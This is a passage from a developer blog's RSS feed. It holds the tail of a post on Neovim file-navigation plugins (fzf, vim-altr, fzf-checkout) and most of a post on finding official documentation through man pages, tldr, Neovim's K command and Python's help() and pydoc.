&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-4" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-4" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-4"&gt;&lt;/a&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;:fzf_command_prefix &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Fz'&lt;/span&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-5" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-5" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-5"&gt;&lt;/a&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-6" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-6" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-6"&gt;&lt;/a&gt;&lt;span class="c"&gt;" Keeps the history of previous searches.&lt;/span&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-7" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-7" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-7"&gt;&lt;/a&gt;&lt;span class="c"&gt;" You can use ctrl-n or ctr-p to navigate the history on a FZF window&lt;/span&gt;
&lt;a id="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-8" name="rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-8" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_1f6ce540e6434aa8bd4928fb6ae4bafb-8"&gt;&lt;/a&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;g&lt;/span&gt;:fzf_history_dir &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'~/.local/share/fzf-history'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For more commands and options, read the manual &lt;code class="docutils literal"&gt;:help &lt;span class="pre"&gt;fzf-vim&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="vim-altr"&gt;
&lt;h2&gt;Vim-altr&lt;/h2&gt;
&lt;p&gt;When you are editing a file, you may want to check its tests.
Or if you are a C/Cpp programmer, you may find yourself changing between the source and header file.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/kana/vim-altr"&gt;Vim-altr&lt;/a&gt; can help you with these tasks.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/file-navigation-neovim/vim-altr.gif"&gt;
&lt;img alt="NerdTree" class="align-center" src="https://stsewd.dev/images/file-navigation-neovim/vim-altr.gif"&gt;
&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can install it with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_bb56eb9d982e42f88225872d840d8c3a-1" name="rest_code_bb56eb9d982e42f88225872d840d8c3a-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_bb56eb9d982e42f88225872d840d8c3a-1"&gt;&lt;/a&gt;Plug &lt;span class="s1"&gt;'kana/vim-altr'&lt;/span&gt;  &lt;span class="c"&gt;" Altern between files&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I have these settings for vim-altr:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_b5b2d36a7c494810929b33a8d5ac733b-1" name="rest_code_b5b2d36a7c494810929b33a8d5ac733b-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_b5b2d36a7c494810929b33a8d5ac733b-1"&gt;&lt;/a&gt;nmap &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;leader&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;a&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Plug&lt;span class="p"&gt;&amp;gt;(&lt;/span&gt;altr&lt;span class="p"&gt;-&lt;/span&gt;forward&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_b5b2d36a7c494810929b33a8d5ac733b-2" name="rest_code_b5b2d36a7c494810929b33a8d5ac733b-2" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_b5b2d36a7c494810929b33a8d5ac733b-2"&gt;&lt;/a&gt;nmap &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;leader&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;A &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Plug&lt;span class="p"&gt;&amp;gt;(&lt;/span&gt;altr&lt;span class="p"&gt;-&lt;/span&gt;back&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To altern between files I just press &lt;code class="kbd docutils literal"&gt;&amp;lt;leader&amp;gt; + a&lt;/code&gt;.
To see more options and how to define your own rules,
red the manual &lt;code class="docutils literal"&gt;:help altr.txt&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="git"&gt;
&lt;h2&gt;Git&lt;/h2&gt;
&lt;p&gt;FZF allows you to pass any list and filter those elements.
When you find yourself in big projects with several branches is easy to get lost.&lt;/p&gt;
&lt;a class="reference external image-reference" href="https://stsewd.dev/images/file-navigation-neovim/gcheckout.gif"&gt;
&lt;img alt="NerdTree" class="align-center" src="https://stsewd.dev/images/file-navigation-neovim/gcheckout.gif"&gt;
&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I wrote &lt;a class="reference external" href="https://github.com/stsewd/fzf-checkout.vim"&gt;this plugin&lt;/a&gt; that list all your branches using &lt;code class="docutils literal"&gt;fzf.vim&lt;/code&gt;.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code vim"&gt;&lt;a id="rest_code_0be7efa586b1437cbb6d7aaea8048b57-1" name="rest_code_0be7efa586b1437cbb6d7aaea8048b57-1" href="https://stsewd.dev/posts/file-navigation-neovim/#rest_code_0be7efa586b1437cbb6d7aaea8048b57-1"&gt;&lt;/a&gt;Plug &lt;span class="s1"&gt;'stsewd/fzf-checkout.vim'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Use &lt;code class="docutils literal"&gt;:GCheckout&lt;/code&gt; or &lt;code class="docutils literal"&gt;:GCheckoutTag&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;</description><category>fzf</category><category>navigation</category><category>neovim</category><category>nerdtree</category><category>plugins</category><guid>https://stsewd.dev/posts/file-navigation-neovim/</guid><pubDate>Fri, 06 Sep 2019 05:00:00 GMT</pubDate></item><item><title>Read the docs</title><link>https://stsewd.dev/posts/read-the-docs/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;When we write software,
people tell us to write docs for it.
But when we use software,
we forgot to read their docs very often.&lt;/p&gt;
&lt;p&gt;A couple of days ago,
I was struggling to remember what the format in &lt;code class="docutils literal"&gt;/etc/passwd&lt;/code&gt; means.
Immediately I search for it in Google and found a blog post about it.
Then I stopped to ask myself: why are you searching this on Google and reading it from a blog post?
This should be documented in Linux itself!&lt;/p&gt;
&lt;p&gt;After a minutes, I found the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Man_page"&gt;manpage&lt;/a&gt; for it
(it was the same content of the blog post!).
Then I realized that so many times I search for things in other sites
but their official documentation.&lt;/p&gt;
&lt;p&gt;So, in the next paragraphs I'm going to tell you (or remind you)
where you can search for the official docs of common development tools.&lt;/p&gt;
&lt;section id="linux-command-docs"&gt;
&lt;h2&gt;Linux command docs&lt;/h2&gt;
&lt;p&gt;&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/code&gt; or &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;-h&lt;/span&gt;&lt;/code&gt;,
probably one fo the most obvious options that we check before executing a command in the terminal,
and that most of the tools have.
Here you can see the list of options and a short description of what that option does.&lt;/p&gt;
&lt;p&gt;Its common usage is:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_64f4b977d7e841228db873bfd97e42d9-1" name="rest_code_64f4b977d7e841228db873bfd97e42d9-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_64f4b977d7e841228db873bfd97e42d9-1"&gt;&lt;/a&gt;&lt;span class="nb"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_eaab166a9fde4714ac0c5006ad2bd66c-1" name="rest_code_eaab166a9fde4714ac0c5006ad2bd66c-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_eaab166a9fde4714ac0c5006ad2bd66c-1"&gt;&lt;/a&gt;ls&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_c05e5da57ea6424097f7ae90c860a177-1" name="rest_code_c05e5da57ea6424097f7ae90c860a177-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_c05e5da57ea6424097f7ae90c860a177-1"&gt;&lt;/a&gt;&lt;span class="nb"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;subcommand&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_68fd4a940b534a59b4c8e7e87b115416-1" name="rest_code_68fd4a940b534a59b4c8e7e87b115416-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_68fd4a940b534a59b4c8e7e87b115416-1"&gt;&lt;/a&gt;git&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Man pages,
most of the Linux tools has a respective man page (apart from the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/code&gt; option).
Man pages have a more detailed documentation than the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/code&gt; option from the command.&lt;/p&gt;
&lt;p&gt;Most of the time you'll need to run:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_b3164f204d784512a1f3063a7e30efb5-1" name="rest_code_b3164f204d784512a1f3063a7e30efb5-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b3164f204d784512a1f3063a7e30efb5-1"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Example&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_94664f0fa9894ed88339b4ae0aa6c285-1" name="rest_code_94664f0fa9894ed88339b4ae0aa6c285-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_94664f0fa9894ed88339b4ae0aa6c285-1"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;ls
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;But not only commands have man pages,
it also includes documentation of the format used in some configuration files,
kernel functions, libraries (usually the ones used in C).&lt;/p&gt;
&lt;p&gt;How to access to those man pages?
Each man page belongs to a section,
each section is represented by a number:&lt;/p&gt;
&lt;pre class="literal-block"&gt;1   Executable programs or shell commands
2   System calls (functions provided by the kernel)
3   Library calls (functions within program libraries)
4   Special files (usually found in /dev)
5   File formats and conventions eg /etc/passwd
6   Games
7   Miscellaneous (including macro packages and conventions), e.g. man(7), groff(7)
8   System administration commands (usually only for root)
9   Kernel routines [Non standard]&lt;/pre&gt;
&lt;p&gt;Knowing the section you can get the man page with:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_516bdb7872804584af2070c58e31099f-1" name="rest_code_516bdb7872804584af2070c58e31099f-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_516bdb7872804584af2070c58e31099f-1"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;section&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;keyword
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_0baef80a00564402808f7fe296e82330-1" name="rest_code_0baef80a00564402808f7fe296e82330-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_0baef80a00564402808f7fe296e82330-1"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ls
&lt;a id="rest_code_0baef80a00564402808f7fe296e82330-2" name="rest_code_0baef80a00564402808f7fe296e82330-2" href="https://stsewd.dev/posts/read-the-docs/#rest_code_0baef80a00564402808f7fe296e82330-2"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fork
&lt;a id="rest_code_0baef80a00564402808f7fe296e82330-3" name="rest_code_0baef80a00564402808f7fe296e82330-3" href="https://stsewd.dev/posts/read-the-docs/#rest_code_0baef80a00564402808f7fe296e82330-3"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;
&lt;a id="rest_code_0baef80a00564402808f7fe296e82330-4" name="rest_code_0baef80a00564402808f7fe296e82330-4" href="https://stsewd.dev/posts/read-the-docs/#rest_code_0baef80a00564402808f7fe296e82330-4"&gt;&lt;/a&gt;man&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/passwd
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Some times the result from the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--help&lt;/span&gt;&lt;/code&gt; option or
from the man pages can be very extensive,
and difficult to extract what you need,
or missing clear examples.&lt;/p&gt;
&lt;p&gt;Fortunately there is the &lt;a class="reference external" href="https://github.com/tldr-pages/tldr"&gt;tldr&lt;/a&gt; project,
which has community-driven simplified man pages with common usage examples.&lt;/p&gt;
&lt;p&gt;Did you always forget the correct options to untar a file?&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-1" name="rest_code_500f396707164eecacf3b9aa026a7d3a-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-1"&gt;&lt;/a&gt;tldr&lt;span class="w"&gt; &lt;/span&gt;tar
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-2" name="rest_code_500f396707164eecacf3b9aa026a7d3a-2" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-3" name="rest_code_500f396707164eecacf3b9aa026a7d3a-3" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-3"&gt;&lt;/a&gt;&lt;span class="w"&gt;  &lt;/span&gt;Archiving&lt;span class="w"&gt; &lt;/span&gt;utility.
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-4" name="rest_code_500f396707164eecacf3b9aa026a7d3a-4" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-4"&gt;&lt;/a&gt;&lt;span class="w"&gt;  &lt;/span&gt;Often&lt;span class="w"&gt; &lt;/span&gt;combined&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;compression&lt;span class="w"&gt; &lt;/span&gt;method,&lt;span class="w"&gt; &lt;/span&gt;such&lt;span class="w"&gt; &lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;gzip&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;bzip.
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-5" name="rest_code_500f396707164eecacf3b9aa026a7d3a-5" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-5"&gt;&lt;/a&gt;&lt;span class="w"&gt;  &lt;/span&gt;More&lt;span class="w"&gt; &lt;/span&gt;information:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;https://www.gnu.org/software/tar&amp;gt;.
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-6" name="rest_code_500f396707164eecacf3b9aa026a7d3a-6" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-6"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-7" name="rest_code_500f396707164eecacf3b9aa026a7d3a-7" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-7"&gt;&lt;/a&gt;-&lt;span class="w"&gt; &lt;/span&gt;Create&lt;span class="w"&gt; &lt;/span&gt;an&lt;span class="w"&gt; &lt;/span&gt;archive&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;files:
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-8" name="rest_code_500f396707164eecacf3b9aa026a7d3a-8" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-9" name="rest_code_500f396707164eecacf3b9aa026a7d3a-9" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-9"&gt;&lt;/a&gt;&lt;span class="w"&gt;  &lt;/span&gt;tar&lt;span class="w"&gt; &lt;/span&gt;-cf&lt;span class="w"&gt; &lt;/span&gt;target.tar&lt;span class="w"&gt; &lt;/span&gt;file1&lt;span class="w"&gt; &lt;/span&gt;file2&lt;span class="w"&gt; &lt;/span&gt;file3
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-10" name="rest_code_500f396707164eecacf3b9aa026a7d3a-10" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-10"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-11" name="rest_code_500f396707164eecacf3b9aa026a7d3a-11" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-11"&gt;&lt;/a&gt;-&lt;span class="w"&gt; &lt;/span&gt;Extract&lt;span class="w"&gt; &lt;/span&gt;an&lt;span class="w"&gt; &lt;/span&gt;archive&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;target&lt;span class="w"&gt; &lt;/span&gt;directory:
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-12" name="rest_code_500f396707164eecacf3b9aa026a7d3a-12" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-12"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-13" name="rest_code_500f396707164eecacf3b9aa026a7d3a-13" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-13"&gt;&lt;/a&gt;&lt;span class="w"&gt;  &lt;/span&gt;tar&lt;span class="w"&gt; &lt;/span&gt;-xf&lt;span class="w"&gt; &lt;/span&gt;source.tar&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;directory
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-14" name="rest_code_500f396707164eecacf3b9aa026a7d3a-14" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-14"&gt;&lt;/a&gt;
&lt;a id="rest_code_500f396707164eecacf3b9aa026a7d3a-15" name="rest_code_500f396707164eecacf3b9aa026a7d3a-15" href="https://stsewd.dev/posts/read-the-docs/#rest_code_500f396707164eecacf3b9aa026a7d3a-15"&gt;&lt;/a&gt;...
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you use Python,
you can install it using &lt;code class="docutils literal"&gt;pip install tldr&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="from-your-editor"&gt;
&lt;h2&gt;From your editor&lt;/h2&gt;
&lt;p&gt;It's useful to setup your editor to show you the documentation from the name that your cursor is under.
Take a look at &lt;a class="reference external" href="https://langserver.org/"&gt;langserver&lt;/a&gt; for a &lt;em&gt;global&lt;/em&gt; solution and
install the proper plugin for your editor.&lt;/p&gt;
&lt;p&gt;I use &lt;a class="reference external" href="https://neovim.io/"&gt;Neovim&lt;/a&gt; as my main editor.
So I'm going to tell you what I currently use in Neovim.&lt;/p&gt;
&lt;p&gt;First, in Neovim you have the &lt;code class="docutils literal"&gt;:help&lt;/code&gt; command to get the help of the editor itself.
Neovim also offers the &lt;code class="docutils literal"&gt;K&lt;/code&gt; command,
which runs a program to lookup the keyword under the cursor.
This program can be setup for different file types,
see &lt;code class="docutils literal"&gt;:help K&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For instance, try this C code and press &lt;code class="docutils literal"&gt;K&lt;/code&gt; under the &lt;code class="docutils literal"&gt;printf&lt;/code&gt; function.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code c"&gt;&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-1" name="rest_code_b69cb998601446238e14c23f86269a1b-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-1"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#import &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-2" name="rest_code_b69cb998601446238e14c23f86269a1b-2" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-3" name="rest_code_b69cb998601446238e14c23f86269a1b-3" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-3"&gt;&lt;/a&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-4" name="rest_code_b69cb998601446238e14c23f86269a1b-4" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-4"&gt;&lt;/a&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello, world&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-5" name="rest_code_b69cb998601446238e14c23f86269a1b-5" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-5"&gt;&lt;/a&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;a id="rest_code_b69cb998601446238e14c23f86269a1b-6" name="rest_code_b69cb998601446238e14c23f86269a1b-6" href="https://stsewd.dev/posts/read-the-docs/#rest_code_b69cb998601446238e14c23f86269a1b-6"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For a general and &lt;em&gt;nicer&lt;/em&gt; solution I use the &lt;a class="reference external" href="https://github.com/neoclide/coc.nvim"&gt;coc plugin&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="online-documentation"&gt;
&lt;h2&gt;Online documentation&lt;/h2&gt;
&lt;p&gt;Some libraries or programs don't include their documentation when you downloaded it,
but probably they have their documentation online.
Note that I'm not referring to a blog post or a tutorial.&lt;/p&gt;
&lt;p&gt;How do you know where to find the online documentation?&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Most of the time you can find a link to the documentation in the web site of the library or project.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some times you can find a link to the online documentation in the repository page
(like in the &lt;code class="docutils literal"&gt;README&lt;/code&gt; file).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You can also find a link to their documentation in the package page
(like npm or pypi).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If everything else fails, you can just use Google to find it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By the way,
for Python packages,
most of the time they have their documentation hosted in &lt;a class="reference external" href="https://readthedocs.org/"&gt;https://readthedocs.org/&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="python-docs"&gt;
&lt;h2&gt;Python docs&lt;/h2&gt;
&lt;p&gt;I'm a Python developer,
so searching for docs from methods and functions is my daily task.&lt;/p&gt;
&lt;p&gt;When I'm not inside my editor, I use these methods:&lt;/p&gt;
&lt;section id="the-help-function"&gt;
&lt;h3&gt;The help function&lt;/h3&gt;
&lt;p&gt;Python has a built in function called &lt;code class="docutils literal"&gt;help&lt;/code&gt;,
you can use it inside the interpreter like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_e892beab846b4ec09ab794bb25d12329-1" name="rest_code_e892beab846b4ec09ab794bb25d12329-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_e892beab846b4ec09ab794bb25d12329-1"&gt;&lt;/a&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_e892beab846b4ec09ab794bb25d12329-2" name="rest_code_e892beab846b4ec09ab794bb25d12329-2" href="https://stsewd.dev/posts/read-the-docs/#rest_code_e892beab846b4ec09ab794bb25d12329-2"&gt;&lt;/a&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;my_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'hello world'&lt;/span&gt;
&lt;a id="rest_code_e892beab846b4ec09ab794bb25d12329-3" name="rest_code_e892beab846b4ec09ab794bb25d12329-3" href="https://stsewd.dev/posts/read-the-docs/#rest_code_e892beab846b4ec09ab794bb25d12329-3"&gt;&lt;/a&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;my_string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The argument can be any function, method, object or module.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="pydoc"&gt;
&lt;h3&gt;pydoc&lt;/h3&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.python.org/3/library/pydoc.html"&gt;pydoc&lt;/a&gt; is a command line tool shipped with Python.
It's what the &lt;code class="docutils literal"&gt;help&lt;/code&gt; function uses under it.
You can use it from your terminal like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_5658b95c02f84190baa242da1023fc64-1" name="rest_code_5658b95c02f84190baa242da1023fc64-1" href="https://stsewd.dev/posts/read-the-docs/#rest_code_5658b95c02f84190baa242da1023fc64-1"&gt;&lt;/a&gt;pydoc&lt;span class="w"&gt; &lt;/span&gt;open
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="the-official-online-docs"&gt;
&lt;h3&gt;The official online docs&lt;/h3&gt;
&lt;p&gt;For a more extensive documentation,
with several common usage examples.
